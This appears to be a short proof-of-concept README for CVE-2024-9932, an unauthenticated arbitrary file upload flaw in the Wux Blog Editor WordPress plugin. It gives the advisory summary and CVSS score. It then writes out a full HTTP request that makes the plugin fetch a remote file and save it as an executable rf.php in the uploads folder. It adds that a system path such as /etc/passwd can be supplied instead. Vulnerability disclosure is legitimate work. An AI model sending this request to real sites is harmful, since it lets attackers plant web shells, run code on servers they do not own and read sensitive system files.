randomrobbiebf/cve-2024-9932Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload
Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload
The Wux Blog Editor plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'wuxbt_insertImageNew' function in versions up to, and including, 3.0.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possi
Link: CVE-2024-9932
State: PUBLISHED
Score: 9.8
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
POST /wp-json/external-post-editor/v2/image-upload HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
Origin: http://kubernetes.docker.internal
Connection: keep-alive
{
"url": "https://rfi.nessus.org/rfi.txt",
"imageName": "rf.php",
"image_alt": "Description of the image",
"image_title": "Title of the image"
}
File ended up in /wp-content/uploads/2024/11/rf.php
You can also provide it a file location like /etc/passwd